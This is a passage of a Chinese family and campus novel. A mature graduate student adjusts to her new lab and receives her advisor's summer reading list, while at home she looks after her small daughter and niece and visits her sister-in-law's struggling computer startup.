舒英笑了笑:“我28了,结婚都七年了。” 听到这话,另外两学姐也惊讶地看过来。 付思萱噎了一下,默了一瞬后说:“我还以为你跟我差不多大呢!” 算算中专毕业,没读本科,又工作几年后考的研究生,她真的以为她俩年纪差不多,而且光从外表上看,她真没觉得她能比自己大六岁,比欧阳雪还年长几岁。 彭娟娟看着她眨了眨眼,文献也不读了,又走过来跟她们聊天:“没想到有一个比我大的学弟还不够,又来了一个比我大的学妹,你现在叫我学姐,我可是不太好意思答应了。” 舒英今天一天跟实验室的同门相处的还不错,三个人性格她也摸得七七八八,欧阳雪腼腆寡言些,彭娟娟很活泼跳脱,付思萱年龄还小,是个性格可爱但专业水平很高的妹妹。 在见到她们之前,她还一直坐井观天的认为自己的学习能力很强,读着中专,但能通过自考,又能成功考上沪大的研究生。 但这些成绩在见到她们后,又突然觉得没什么可值得骄傲的,她们三个不论哪一个的成绩拿出来都是吊打一片的存在,各种比赛各种奖项拿到手软,全英文的文献也是说看就看,完全不卡壳。 想到这,舒英忍不住又叹了口气,与她们相比,她还差得远啊! 李固言下班后就见她愁眉苦脸地坐在书桌前,他是知道她今天去学校的,见状小心翼翼问:“这是怎么了?碰上什么不开心的事了?” 舒英微微皱着眉,嘴角向下弯,一副苦瓜表情,叹了口气说:“没有……” 这个表情明明就是有,李固言拉过旁边的椅子在她身边坐下,低哄道:“有什么不开心的事,跟我说说?就算我解决不了,也能倾听一下,然后安慰安慰你。是老师同学不好相处吗?” “不是……”舒英又叹一口气,有些烦躁地翻着眼前的专业书,上面的英文名词被她标注又标注,“就是认识到自己之前有点自大了,其实人外有人天外有天。” “为什么这样说?”李固言挑眉看着她,眼神真挚,“我一点都没有感觉到你自大,我觉得你很厉害,比我认识的所有人都厉害一万倍!” 知道他是哄她,舒英没忍住笑出声,轻轻将头靠在他肩膀上,将今天发生的事和自己的感受都告诉他:“导师学姐同学都很好相处,实验室里的氛围也很好,只是我以前一直觉得自己能考上沪大,可为自己感到骄傲了,但是全英文文献我根本读不通,要一直查字典,但她们读起来就很顺畅,其中一个妹妹跟我一样是今年的新生,但她是正经本科读上来的,感觉她的专业知识比我丰富得多,学姐提问题的时候,我还没反应过来,她就已经答出来了……” 李固言看出她有些低落,轻抚着她的背部,声线温柔:“不要这样想,她们比你学的时间长,所以比你懂得更多,但这并不能说明你就不厉害,你觉得她们厉害,那你就要想,正是因为你跟她们一样厉害,所以才能成为她们的同门。你现在也是章教授的学生了,是她们的学妹和同窗,虽然你现在水平上可能有点落后于她们,但硕士三年呢,我相信你肯定会慢慢赶上去的。” 他这一番话说的舒英想掉眼泪,闷闷嗯声,撒娇似的在他怀里动了动,又突然起来笑着说:“我觉得你说得对!因为我和她们一样厉害,所以我才会成为她们学妹和同窗,不就是现在落后一点嘛!我学就是了!我还就不信了,凭借着我的努力,那劳什子英文文献,我还能看不懂?” 她转变太大,刚刚还垂头丧气的,瞬间就鼓足劲了,李固言还有些没反应过来,随后迎着她发亮的眼神也跟着笑起来。 他喜欢她的明媚,喜欢她的真实,喜欢她的迎难而上。 不,他爱她。 舒英又恢复到了平常状态,看着他失神的双眼,张扬地压着他脖子吻了上去。 柔软的唇相触,气息交融,好像一切的不开心都化在了这个吻里。 时间差不多了,黄姐要带贝贝回去了,舒英和李固言牵着谷雨往楼下送了送。 看着她们坐上公交车后,回去的路上,舒英说:“咱们家也请个保姆吧,虽然还没开学,但我想多去实验室跟学姐们多学学。” 李固言点点头:“都听你的。” 谷雨一手牵爸爸,一手牵妈妈,还在蹦蹦跳跳。 舒英问:“今天跟贝贝姐姐有吵架吗?” “没有!”谷雨回道,“谷雨今天超级超级听话!” 舒英笑起来,“好,那待会儿奖励你一颗糖。” “谢谢妈妈。”谷雨眼睛亮晶晶的,拉着她的手,示意她蹲下,舒英虽然不明所以,但乖乖蹲下来,就见她在她脸上“啪唧”亲了一下,还道,“妈妈,你不要不开心。” 舒英怔了下,原来她的情绪也被她感知到了吗?那她看到自己不开心是不是会很紧张?她瞬间有些愧疚,抱着她保证:“妈妈以后肯定每天都开开心心的。” “嗯!” 一家三口牵着手慢慢往家走,夕阳的余晖拉长他们的影子,温暖又快乐。 第56章 第 56 章 苦瓜炒蛋 舒英说到做到, 在学校还没正式开始放暑假的这段时间天天往实验室里跑,和付思萱一起跟着欧阳学姐,给 她盯一些简单的实验。 付思萱本科时期也没少做这些实验, 对于流程都很熟悉了, 舒英就不行,安城中专的实验器材是很少的,让他们做实验也很少, 上课也就是照本宣科,后来又上班,要不是靠着看书,她好些器材都不一定能认出来。 不过欧阳雪是个很有耐心的人, 看出她不熟悉也没有说她,只是默默地又给她演示了一遍。 舒英瞬时笑起来,手里还抱着笔和记录本:“谢谢学姐。” “嗯。”欧阳雪摸了摸鼻子,不自然地移开视线。 一上午都在记录数据, 付思萱觉得自己眼珠子都快看成斗鸡眼了, 到了中午很是疲惫地瘫软在椅子上:“小英姐,你中午还是回家吃吗?” “对, 我闺女还小, 我要是中午不回去,她该闹了。”舒英一遍整理包一边回道,她看着手里的两本书,正纠结着带哪一本回去看, 中午时间没多少,肯定是不能两本都看的,没纠结一会儿,她就把英文书放进了包里, 回去还是背背单词吧。 “好吧,我还想问问你要不要跟我一起去三食堂呢,这学期三食堂最后一次开了,它有一家面可好吃了,今天不吃就得等下学期了。”付思萱伸了个懒腰,紧跟着又打了个哈欠,随口吐槽说,“现在天也太热了,一开门就是一股热浪,要不是为了那口面,我是真不想出去!” 舒英听见她的话笑了笑,正好看到包里还有一个李固言给她装的桃子,她从水果盒里拿出来递给她:“给你,可甜了。” 付思萱接过去,嘿嘿笑道:“谢谢姐~” 桃子一看就是洗干净了的,她一口咬上去,脆生生的,她嚼了嚼问:“姐,你是喜欢吃脆桃还是软桃?哦!你这个是脆桃,你也喜欢吃脆桃对不对?!” 舒英把包背在身上,笑着说:“我都喜欢,还有甜咸豆腐脑,甜粽肉粽我也都喜欢。”说着走到门边,随手拿起早上放到伞盒里的遮阳伞出去。 留付思萱在后面瞪大眼,嘴里的桃都忘了咽。 外面是热,又是中午,正是日头最烈的时候,就是撑着伞也恍惚觉得自己快被晒化了,舒英边走边叹气,冬天的时候想夏天,夏天的时候怀念冬天,其实算来算起,还是春秋天最舒服。 等到家的时候,脸都热得红扑扑的,额头上也出得都是汗。 家里还没找到合适的保姆,最近都是黄姐看着俩孩子,中午还得烧一大家子的饭,也真是麻烦她了,舒英跟李固言商量着回头给她包个大红包,总不能让人家干忙活。 谷雨知道妈妈上午是去学校学习去了,她都有好好跟她讲的,但她上午在家玩的时候还是会忍不住叹气,怎么大人也要上学呢?大人就不能天天都在家里陪小孩子玩吗? 贝贝瞧见她的样子还会制止她:“妈妈说了,小孩子不能叹气,叹气就变老了!” “我才不会变老。”谷雨嘴硬,但还是下意识捂住嘴,心里隐隐担忧,决定等妈妈回来要问问她自己有没有变成太太的样子,还住以前那个家的时候,奶奶带她去别人家玩,就有一个太太,头发都是白色的,还弯着腰拄着棍子,嘴里还没有牙。 钥匙插进锁孔,发出响声,谷雨瞬间眼睛一亮,连忙从地毯上爬起来,嘴里喊着:“妈妈,妈妈!妈妈回来了。”她耳朵可尖啦!每次妈妈回来都是她第一个发现的! 舒英刚打开门,就看见谷雨站在后面用期待的眼神看着她,看到闺女这样,就是让她再晒一路太阳,她也乐意,她蹲下来,谷雨立马扑到她怀里,也不嫌热。 舒英把她抱起来,到客厅里,一屁股坐在风扇前吹着,享受地长舒一口气,总算是活过来了。 缓过劲儿来后,她搂着俩嘻嘻哈哈的孩子问:“你俩上午都干什么了?” 谷雨迫不及待抢答说:“我们写字了!写了好多好多好多好多字!”说着赶紧起身,蹬着小短腿去把自己的本子拿过来,贝贝也跟着一块儿去。 两本田字格本被递到眼前,舒英接过来,摊在地毯上看,边看边点头,表扬道:“很好,能看出来写得都很认真,比第一次写已经有很大进步啦!” 两个孩子被夸了,又一齐挤到她怀里,舒英被两个小家伙挤得躺倒在地上,一手搂了一个。 厨房里卟卟噔噔地忙碌着,没一会儿就传出来香味,紧接着黄姐把菜都端上来道:“吃饭啦!” 舒英忍不住喟叹,这种日子真的太幸福了,她白天就在学校里努力学习赶进度,饭点回来有两个软萌可爱的小朋友陪着,家里里里外外还有黄姐操持着,简直是神仙日子。 她牵着俩小家伙过去,问黄姐:“黄姐,你菜都扒出来了吗?多扒点,别不够吃。” 他们邀请了好多回了,但黄姐始终不肯坐下跟他们一块儿吃,舒英觉得可能是觉得不自在,也就没再说过,只让她多扒点饭菜。 黄姐手在围裙上擦了擦,真心实意地笑起来:“够吃了够吃了。” “那就好。” 刚说完,门锁就又响了,谷雨正捧着碗扒饭吃呢,听到声音猛然一抬头:“爸爸回来了!”也不知道她怎么吃的,脸上还沾着白米粒,看得舒英笑起来,给她把米粒擦掉。 李固言从外面进来,也是一头的汗,一进来就注意到闺女那两颗炯炯有神的大眼睛,存在感极强,让人想忽略也没办法,他笑起来,先到厨房洗完手后才出来轻轻拍了拍她的小脑袋问:“怎么样,今天跟姐姐在家玩得开心吗?” “开心!” “贝贝呢?贝贝今天开心吗?”李固言也没有忽略贝贝,笑着问。 贝贝对他不是很亲近,乖巧点了点头回答:“开心。” 李固言又坐到舒英对面,又问:“那你呢,你开不开心?” 舒英无奈抿了下嘴,敷衍地点点头:“开心开心。” 李固言这才心满意足地拿起筷子,先给舒英夹了块苦瓜炒鸡蛋:“外面太热了,吃这个清热去火。” 天一热就容易没有胃口,反而不想吃大鱼大肉,更想吃些瓜果蔬菜。 谷雨和贝贝可不喜欢吃苦瓜,看到李固言筷子上夹着苦瓜都一脸警惕地守着自己的小碗,生怕他一个不注意放她们碗里了。 本来李固言没想给她们夹的,小孩哪有喜欢苦瓜的,但看着她俩这副表情,一时促狭心起,反而故意把夹着苦瓜的筷子在她俩眼前晃了一圈,慢慢悠悠地停在半空中,好像是在犹豫应该给谁。 被他这么一捉弄,俩小家伙的心都提到嗓子眼儿里了,舒英在旁边看着,也觉得有趣好笑,半点没有想给闺女和外甥女解围的想法。 谷雨第一个没憋住气,道:“我不要吃苦瓜,你给姐姐吧!” 这要是舒英这么逗她们,贝贝也就反驳了,但这是不怎么亲近又长得高大的姨夫,贝贝默默把碗往前推了推,赴死一般的壮烈。 两个大人瞧着她俩这样没一个不笑的,李固言乐不可支地把筷子收回来,起身就去拿相机,给姐妹俩好好拍了一通照片才罢休,期间,她们俩还是如出一辙的警惕,生怕他会把苦瓜扔进她们碗里。 满意地放下相机后,李固言递过去给舒英看了看,这才笑道:“逗你们玩呢,快吃饭,吃完饭后玩一会儿就可以睡午觉了。” 谷雨半信半疑地守着碗,用勺子扒着饭。 贝贝跟黄姐也不是天天来的,星期天舒秀珍在家,所以她们不来。 到了星期天,舒英和李固言也不用上学上班,难得能睡个懒觉,谁都没早起,谷雨醒来后,李固言给她泡了牛奶,又拿了饼干吃,舒英躺在床上看他带着谷雨走来走去的身影,忍不住笑了笑。 李固言弄好谷雨后进来问:“你饿不饿?要不要我给你弄点东西吃?” 舒英懒懒摇头,连声儿都没出。 李固言笑起来,趁谷雨在外面吃饼干走过来站在床前,快速地在她唇上点了一下。 舒英连动都没动,任他动作,李固言食髓知味,还想更进一步,就听外面谷雨喊“爸爸”,他瞬间心虚地站起来,迎着舒英调笑的目光出去。 “怎么了?” “我牛奶洒了。” “没事,你先吃,待会儿我来处理。” 谷雨吃完后,一家三口一块儿躺在床上对着风扇吹,窗帘拉得紧紧,隔绝掉太阳的炙烤。 李固言手里拿本孩童故事书念,声音娓娓道来,如潺潺流水,为闷热的夏日中带来一丝清凉。 要不是李固萱提前说 了今天过来,恐怕他们还能再躺一会儿。 十点多,两人起来去准备午饭,让谷雨在客厅玩玩具。 家里到现在还没买电视,想等着搬到新家后再买的,不过舒英从厨房探头往客厅看了一眼,感觉谷雨自己玩玩具也有点单调,她道:“要么咱还是把电视买了吧,早买早看,反正搬过去也免不了要买的。” “行。”李固言点头,他没意见。 李固萱来的早了些,饭还没做好人就到了,拎着大包小包的,一口气爬了五楼,累得喘粗气。 舒英连忙接过她的带来的东西,又给她倒了一杯凉白开,她拿起水杯咕噜咕噜的一整杯水就下肚。 谷雨等她喝完后喊:“小姑!” “哎!”李固萱笑得眉眼弯弯,指着一个袋子说,“里面是给你买的玩具,你拿出来看看喜不喜欢。” 谷雨听到这话立马去翻袋子,袋子里是精致的纸盒,上面的图案是个精美的洋娃娃,舒英帮着拆开说:“拿到礼物你要说什么?” “谢谢小姑!”谷雨把洋娃娃抱在怀里,蹦蹦跳跳的。 舒英赶忙制止:“嗯?在家里可以跳吗?” 谷雨刚才还兴奋着,听到这话又心虚起来:“不可以。” 说着伸出小手指,讨饶说:“就一次嘛,妈妈~” 舒英对着她这样有些无奈,笑着点了点她额头,李固萱却是被她可爱得心软,恨不得抓住她抱在怀里狂亲。 李固萱不光给谷雨带了礼物,还给哥嫂俩带了:“这是我同事从国外带回来的咖啡,带了两盒,我留了一盒,这盒拿过来给你们尝尝。” “快去吹会儿风扇,看你这热得满头是汗。”舒英笑着收下道谢说,“饭还没做好,你跟谷雨先玩会儿。” 谷雨立马上道地拉着她的手,把她拉到客厅的风扇前,又把自己的零食玩具都拿出来跟她一起分享。 小萝卜头可爱又懂事,李固萱看得喜欢的不得了。 客厅一个风扇,厨房也是一个风扇,他们家其它电器不多,风扇是委实不少,罗厂长的那个厂主要就是生产一些风扇的零部件,再组装风扇。 李固言做着饭,舒英把早上特意放冰箱里的西瓜拿出来切开,给他喂了一牙后,剩下的都端到客厅去:“吃西瓜。” 谷雨伸着小手也要去拿。 舒英道:“你只能吃一块哦。” 谷雨嘟着嘴不满意的样子,拿了一块捧在手上啃。 李固萱好奇问:“咋了吗?” 舒英笑起来:“她前两天贪凉,一口气吃了好多凉的,拉肚子了。” “哦哦,那是不能吃多,吃多了肚肚受不了。”李固萱伸手揉了揉谷雨鼓起来的小肚子,面对小孩子,说话忍不住就变成了叠词,这要让工作室里的那几个货知道她这样说话,还不知道会怎么嘲笑她,但没关系,谁让她的侄女这么可爱呢!她问,“宝宝有没有打针啊?” 说起这,谷雨就有些委屈地扁起嘴,拖长声音说:“有——,可疼了!” 舒英看着她俩笑着摇了摇头,又回了厨房。 李固萱心疼地看着谷雨给她展示,还连手带脚的比划,双手一张道:“好长好长的针,啪一下就打到我屁股上了!” “那你哭了吗?” 谷雨可怜地点点头:“小朋友们都哭了。” 夏天贪凉拉肚子的小孩子不少,都到儿科医院去打针,她意思是医院里的小孩们都哭了。 李固萱把她抱怀里安慰:“现在不疼了昂,以后我们少吃点凉的,就不会拉肚子,就不用打针了。” 谷雨点点头,还是一副委屈样。 舒英从厨房里看过去,忍不住想笑,还用手肘捣了捣李固言,示意他也看。 “没想到闺女还是个戏精。” “瞧瞧把她姑给哄的,马上就该要什么给什么了。” 两人收回视线,对视一眼,互相乐出声。 中午十二点多,饭菜上桌,李固萱拉着谷雨去水龙头下洗手。 谷雨打了肥皂在手上,还有点好为人师的样子:“小姑,洗手要这样洗,先搓手心再搓手背,还要搓手指。” 声音奶呼呼的,带着认真,李固萱瞧着嘴差点没咧到耳后去,吃饭的时候还要挨着她坐。 李固言问:“你们那个工作室现在怎么样了?” 上个星期李固萱刚从学校拿到毕业证,现在已经进入社会,职业上班了。 “只能说蒸蒸日上,一切都充满希望。” 她说话也挺有意思的,舒英笑出声,问:“那你该这段时间忙坏了吧。” “谁说不是呢,又是夏天,我感觉我都该瘦了好多斤了,就是还没称。” 舒英给她夹了块肉:“吃肉补补,太瘦了不好,伤身体。” “谢谢嫂子。” 话题转到李固萱的工作内容上,她随口吐槽道:“电脑现在还没发展起来,一台电脑都可贵了,里面的零件要是坏了,都不太好更换,这就很愁人。” 李固言随口问:“什么样的零件?” 李固萱瞬间想起他在这方面可是专业的,拉着椅子谄媚地往他旁边坐了坐,“具体我说不好,您看您什么时候有空跟我去看看?” 李固言瞟她一眼,食指抵着她的头把她往后推。 李固萱嗷嗷叫起来,揉着脑门哼了一声,跟舒英道:“嫂子你说说,有这样的哥哥吗?妹妹遇到困难了,还这么冷酷无情!” 舒英笑起来,李固言淡淡道:“你再说,我今天就没空了。” 李固萱连忙闭嘴,还作拉链状在嘴唇上一拉。 下午天凉快些,舒英抱着谷雨也跟着李固萱一块儿过去,他们这还是第一次去李固萱工作的地方。 李固萱提前道:“你们有个心理准备昂,我们工作室很简陋的,肯定比不上你们上班的环境。” 李固言点头:“行,知道了。” 这么冷漠!李固萱在他背后挥拳,又冲着舒英和谷雨笑。 她这个工作室就在居民楼里,还是一幢挺老旧的居民楼,李固萱边领着他们走边解释说:“这里是一个学姐的房子,虽然简陋了些,但好在不用交房租嘛!能省下不少钱呢。” 她这个工作室里总共是五个人,三个女生两个男生。 李固萱带着哥嫂进去,里面的几个人提前被通知了她会带人来,所以都没有惊讶。 舒英进门扫了一眼,几不可察地点了点头,虽然有点乱,但是不脏,还说得过去。 他们这五个人吃住工作都在这房子里,客厅没有沙发电视,桌子上放得都是电脑。 李固萱介绍着互相认识,她在这小工作室里是最小的,也是最晚加入的。 一开始大家还有生疏,简单介绍了下后,就都好奇地盯着谷雨瞧。 李固萱骄傲起来:“这是我小侄女,谷雨,跟叔叔阿姨们打个招呼!” 几个人天天在这房间里忙活,“暗无天日”的,一副受尽折磨的样子,在看到可爱又乖巧不会乱摸乱碰的小孩子,瞬间觉得自己疲惫的心被抚慰了,慌忙回自己房间去给她翻吃的,什么巧克力棒棒糖,饼干面包,塞得那是一点也不犹豫。 一群人都围在舒英和谷雨前面,倒把正事给忘了个干净,李固言皱了皱眉,重重咳嗽了一声。 李固萱疑惑抬头看向他,又望了望外面还大亮的天:“这天气这么热,哥你怎么还咳嗽了?” 要不是当着她的学哥学姐兼同事的面,他是真想给她一个白眼,他紧闭了一下眼:“你不是说零件吗?” 李固萱一拍脑袋,“对对对,零件!你等一下,我去拿过来。” 其他人也都想起这回事,手忙脚乱地翻找着。 李固萱道:“这个零件是国外产的,要更换就得到国外去,价格还不便宜。”她把一个很精密的东西递给他。 李固言几乎是第一眼就判定这个东西国内估计是生产不了,这东西太精细了,他们国家的机床还没达到这程度。 他如实回答,众人也都知道他在这上面是专业的,都有些失望,其中一人说:“那看来只能从国外买了,总不能因为这点钱放弃一台电脑吧。” 李固言皱了皱眉问:“这个你们还有用吗?” “没了,这个是坏的,换新的后这个就没什么用了。” “那我能不能带回去研究研究?”他拿过来对着光看了看,“不过我也就是研究一下,我们那个厂肯定是生产不出来的,你们不用抱希望。” 他那一个电风扇厂,哪里有条件制作这个东西。 李固萱也知道这个道理 ,不过还是有些失落,她还以为他能给弄出来了,这要是弄出来了可省了他们一大笔钱,他们现在正处于创业初期,恨不得一分钱掰成两半花,一分一毛都是很珍贵的。 “这对我们也没用了,你拿回去就拿回去吧。” 他们说话,舒英牵着谷雨在房子里转了转,上回李妈打电话还说呢,让她回头能看看李固萱上班的地方是个什么样,靠不靠谱,毕竟在他们老观念里,几个毛头大小的孩子创业,不是净胡闹嘛,哪里有进个国营单位来得稳当,不过孩子大了,翅膀都硬了,他们说他们的,他们干他们的,两不耽误。 舒英从一进门就在观察了,觉得这几人应该都是靠谱的,虽然累,但周身都是蓬勃的朝气,充满了向上的希望,只是现在是前期,过于艰难了些,熬过这段时期,想必他们会好起来的。 这房子也不大,也是两室一厅的格局,看起来是女生一间,男生一间,房间门关着,她就没进去,只是瞟了眼,这也是老房子了,房间里没有厕所,想上厕所都要去楼下不远处的公共厕所。 她边看边点头,想着回去给李妈去个电话说一声,让她放心。 第57章 第 57 章 小树不修不直溜 天色渐晚, 舒英和李固言婉拒众人留饭,带着谷雨坐车回家。 路上舒英道:“我刚刚在里面看了一圈,感觉固萱这里瞧着还是挺靠谱的。” 李固言也点点头说:“是, 几个人的性格看着都比较踏实。” “对了, 固萱跟你说过她这里一个月能赚多少钱吗?我怎么觉得她们这挣得不多呢?”她今天中午吃饭的时候就觉得李固萱这段时间是不是过得比较困难,天气这么热,一般来说胃口都不会太好, 但她吃起东西来却还有些狼吞虎咽的。 李固言沉思了一下:“没跟我说过具体多少钱,但应该不至于过得不好,可能只是单纯地忙不过来。” 也有这个可能,舒英想到她今天买的那个精美的洋娃娃, 那个看上去可不便宜。 李固言带着从李固萱那带回来的零件,第二天就到厂里研究去了,袁宜路过还问了嘴:“老师,这是什么?不像是咱们厂里的吧。” “不是。” 袁宜看了两眼后, 越看越好奇, 感慨说:“这小东西做工好精巧啊,肯定能卖不少钱。” 李固言递给她说:“国外的技术, 我想研究研究看咱们现在是差在哪儿了。” 袁宜小心接过, 坐到椅子上,把桌子上的台灯打开,对照这灯光又仔细看了看,道:“这种工艺我之前在专业杂志上看到过, 是漂亮国的一位专家发的,不过据我知,咱们国内好像还没有哪家厂子有这个技术,这个技术对机床的要求太多了。” “是。”李固言轻轻叹气, “不知道什么时候我们也能拥有这些技术,甚至在专业能力上赶超国外。” 袁宜笑了笑:“会的,我觉得老师你就很有这个潜力,相信未来的某一天你肯定能带领我们站在专业尖端,让国外那些洋鬼子们望尘莫及的!” 李固言把零件放在防尘袋里好好的收起来,好笑地摇头,道:“你师母让我问你你什么时候有空,让你来家吃饭。” “师母相邀,那必然是随时有空,就算没空也得腾出空来。”袁宜笑嘻嘻的。 “我发现离开安城后,你是越来越贫了。” 说是这样说,但李固言也是真心为她感到高兴,以前在安城的时候,她努力归努力,但总觉得身上压抑着什么,明明是年轻小姑娘,但却天天板着脸,现在她明显开心得多,来到沪市后,还谈了男朋友,听说是本地人,是在餐厅吃饭认识的,不过他还没见过。 又过几天,沪大开始放暑假,章惠然特意喊了舒英跟付思萱到办公室。 两个人结伴过去,还不知道是因为什么事。 她们到办公室,门敞开着,章惠然正埋头书写着什么,舒英抬手敲了敲门。 章惠然听到声音抬头,顺手将钢笔笔帽旋上,脸上挂着浅浅的笑道:“进来吧,坐。” 两人乖巧坐下,就听她说:“这马上放暑假了,你们暑假是什么安排?” 舒英和付思萱对视一眼,都有些摸不清头脑。 对舒英来说,暑假不暑假的其实也没有什么区别,她专业知识差着那么多,肯定都是要学习的,她如实回答。 章惠然脸上笑意更深,道:“你是个踏实的孩子,这段时间,我听欧阳说你很努力,不过倒也不用这么着急,知识的积累不在一时,而在长久之间,别松懈才好。” 快三十的人了,还被说是孩子,舒英忍不住脸红一瞬,认真点了点头。 等付思萱也说完后,章惠然又道:“咱们这个专业不光是医学,还有化学和生物学,是一门多学科交叉的专业,想要把它学好,不是一件简单的事,在以后的三年中,你们都应该像现在这样努力才对。不过你们毕竟还没正式入学,所以暑假就跟着学校放,只有这一次,等正式入学后,暑假就没有这么久了。不过就算是放暑假,你们也要时刻把学习放在心上,我给你们布置个作业。” 说着她随手从身后的桌面上抽出两张纸分别递给她俩,上面墨迹刚干,应该就是她刚才写的东西:“这上面写的是一些专业书籍和文献,你们这个暑假回去认真看一下,好好钻研钻研,看完后要写报告,开学交给我,若是有没搞明白的问题,等假后来找我解答。” 长长一串书单,有英文名也有中文名,舒英和付思萱相视一眼,都从对方的眼神里看到了“震惊”二子,好长好多! 章惠然轻轻挑了下眉:“若是有疑义的话可以现在说。” “没、没有。” “好,那你们就先回实验室吧,老师提前预祝你们假期快乐。”说完淡雅一笑,银质窄边框眼镜下的眼神温柔地目送她们。 两人手拿书单,从办公室出来才敢表达自己的不可思议,付思萱瞪大眼睛:“一个暑假真的能看完吗?”而且老师的要求不止是看完,还要写报告啊! 舒英也有这个疑惑,抱着书单叹了口气:“硬看吧。”她的阅读速度比她可慢多了,对她来说都困难,那对她来说更是一个不小的工程。 震惊完后,两个人拿着书单对了对,这才发现书单竟然还不一样。 一些基础的书是一样的,但从文献开始就出现了细微的不同,舒英的这份更偏基础一些,而且英文文献的数量明显要更少,付思萱的那份则要深奥一些。 想来章惠然对让她们读什么书,也是有过自己的考量的,舒英基础差一些,就算让她读深奥的,她恐怕也读不懂,一知半解的还不如不看。 舒英猜出老师的意思,一瞬间有些感动得想落泪。 两人回了实验室,彭娟娟看着她们好奇问:“老板叫你们说什么了?” 付思萱晃了晃手里的书单,有气无力的:“给我们布置暑假任务。” 彭娟娟闻言“扑哧”笑出声,接着忍不住似的又大笑起来:“我看看我看看,看看跟我那时候的书单有什么区别。” 就在两人还不解时,欧阳雪抬头默默道:“给未来的研一新生布置阅读任务是老板的一贯手段。” 彭娟娟补充:“说是放暑假,其实都是闷在家里看书,看不完,根本看不完,而且老板天天那么忙,她还真有空仔细检查你的报告写得怎么样,甚至还有闲心给挑一下错别字,所以过来人奉劝你们,千万认真对待,否则后果你们不想知道。” 还有后果? 舒英惊讶看着她,付思萱追问:“什么后果?” “后果嘛,让欧阳学姐告诉你们比较好。” 欧阳学姐?她没看完书?不 像啊,她一看就是那种一拿到书单就会认认真真彻夜不眠研究的人啊。 彭娟娟看她俩表情就知道她俩在想什么,笑道:“不是学姐,是咱们学哥。” 欧阳雪低着头写写画画,丝毫没有参与回答的意思。 彭娟娟无奈,只好接着说:“老板自己是那种精力超级旺盛的人,能一天只睡几个小时,剩下的时间还精神奕奕地处理工作,她自己这样就以为大家都这样,结果那个学哥暑假书单就看了差不多一半,老板可不敢相信了。”迎着她俩的眼神,她轻咳着补充了一句,“不过也是因为学哥真的没好好看啊。” “老板检查他的报告,发现好些写得都很敷衍,就很生气,全部打回重写,那个学哥后来可惨了,你想啊,研一后那么忙,他还得补作业,真的是废寝忘食,实验数据都弄错了好几个,在组会上没少被老板批。” “你们不要看老板平时很温柔很好相处,但一碰上专业的东西,她是很严厉很犀利的,不过我这样说你们肯定也不理解,没关系,等开学开一次组会你们就懂了。”说完摇了摇头,又配合着打了个寒颤。 她探头看了看两人的书单,说:“不过学哥之后,老师就仁慈好多了,布置的暑假任务比之前可少多了,你们这个比我那时候还少些呢,假期里好好看,能看完的。” 舒英点点头,已经做好了假期要奋战的准备。 彭娟娟伸了个懒腰又回到自己位置上,“哎,不管怎么说,你们好歹还有个假期,我这俩月是真得屁股长钉子,钉死在这间实验室里了。” 马上研三了,得好好准备毕设了,真是想起来还有点像哭。 今天是最后一天,明天就不用来了,舒英拿着书单去学校图书馆把书都找齐,找齐后也差不多就到了该回去的点了。 舒英跟学姐们还有付思萱说再见,付思萱苦着脸回应。 舒英见状笑了笑,也是难怪,本来付思萱还跟她说准备假期去哪哪哪玩呢,这下这些旅游计划全部都得取消了,可不得难受一段时间嘛。 晚上炎热不减,太阳还高悬于西天,校园里都是兴高采烈地学生们,三三两两拉着行李箱,准备迎接他们快乐的假期。 舒英瞧着他们,也不自觉被他们的快乐感染,抿起唇笑了笑,背着一大摞书回家。 这么多书,委实不轻,左手倒右手的换着拎,就这到家的时候手心还红通通一片。 谷雨听见开门声,如往常一般过来迎接,亲切地喊着妈妈。 舒英看着她,只觉得再累都不累了。 她换着鞋问:“今天过得怎么样,有好好听黄阿姨的话吗?” “有~”谷雨迫不及待跟妈妈分享着今天的日常,“我跟姐姐下午在玩过家家,姐姐也喜欢小姑给我买的洋娃娃,说要让大姨也给她买。” “贝贝也想要洋娃娃呀?”舒英问旁边的贝贝。 贝贝轻轻点了点头说:“妹妹的洋娃娃好看。” 舒英换好鞋后进屋,笑着说:“不要让你妈妈买了,小姨送你,等……明天吧,小姨明天带你俩出去玩,到时候我们去店里挑,好不好?” 贝贝有点迟疑,但还是答应:“好。”妈妈说让她不要没有经过妈妈同意就要别人买的东西,不过小姨应该不算外人吧? 谷雨听到妈妈要给姐姐买洋娃娃,连忙说:“谷雨也要,谷雨也要。” 舒英拍了拍她的小脑袋,看着她急切的眼神说:“姐姐还没有,所以妈妈给姐姐买,你已经有了一个新的了,所以不能再要了。” “好吧。”谷雨不太开心的鼓起脸,小嘴撅得能挂油瓶了。 李固言回来就看到闺女这副模样,小家伙自己孤零零地坐在地毯上,还故意扭过身背对着人,一看就知道是又被妈妈说了,他也不过去哄,只小心凑到舒英旁边问:“怎么了这是?又犯什么错了吗?” 舒英无奈告诉他。 李固言道:“不就是一个洋娃娃嘛,那我再给她买一……”扭头看到老婆的脸色,尬笑着摸了下鼻子,没有说完。 舒英瞪了他一眼,真是净添乱:“是洋娃娃的事吗?她已经有一个洋娃娃了,但贝贝还没有,我给贝贝买不给她买,她就不开心了,这要是纵容下去,可就养得有点自私了,所以这种风气必须遏止,你别在这边瞎说,回头被她听见,看你站在她那边,更觉得委屈了。” “不至于吧……”在李固言眼里,闺女这好那好,是怎么都不会跟自私这种算不上好的德行沾上边儿的。 舒英听他这话就有点来气,“哪里会不至于,小树不修不直溜,在孩子身上发现这种苗头就得赶紧注意,自家孩子自家看自然是千好万好,但要是放到外面去,你不教她,她能遇到更大的苦头,到那时候你还怎么办?” “而且我又不是在她没有洋娃娃的时候给贝贝买,我是在她有了后才说给贝贝也买一个的。两个小孩在一处玩,不光是陪伴,咱们大人也能从她们的相处中发现问题,去给她纠正,现在还小,还能纠得过来,大了可就不好说了。” 这也是她和舒秀珍为什么想两个孩子暑假在一块儿的原因,一个孩子受尽父母宠爱,在这陌生地方,平时又没个同龄玩伴,难免就会养出些自私的小毛病,两个小孩在一块儿玩着,就是发生矛盾,调节一下也就好了,谁也不会往心里去,时间长了,学会了如何跟同龄人相处,等之后上幼儿园、上小学才能更适应。 李固言知道她说得对,但一看到闺女皱皱眉毛,就又忍不住要心疼起她来,干脆长叹一口气到厨房里做饭去了。 舒英带回来的那么多书还没整理呢,也没去哄谷雨,任她自己在客厅地毯上玩,在自己家里,随便怎么玩,总不会出什么事的。 她在房间整理着书桌,这个次卧没人住,房间里放了张大桌子,暂充当书房用,他们准备着等保姆找到了后,就让保姆住这个房间。 她正收拾着呢,就听到“哒哒哒”的声音,这一听就是谷雨的小跑的声音,还越来越近,舒英摇着头笑了笑,还没等她回头呢,小家伙就开始喊“妈妈”了。 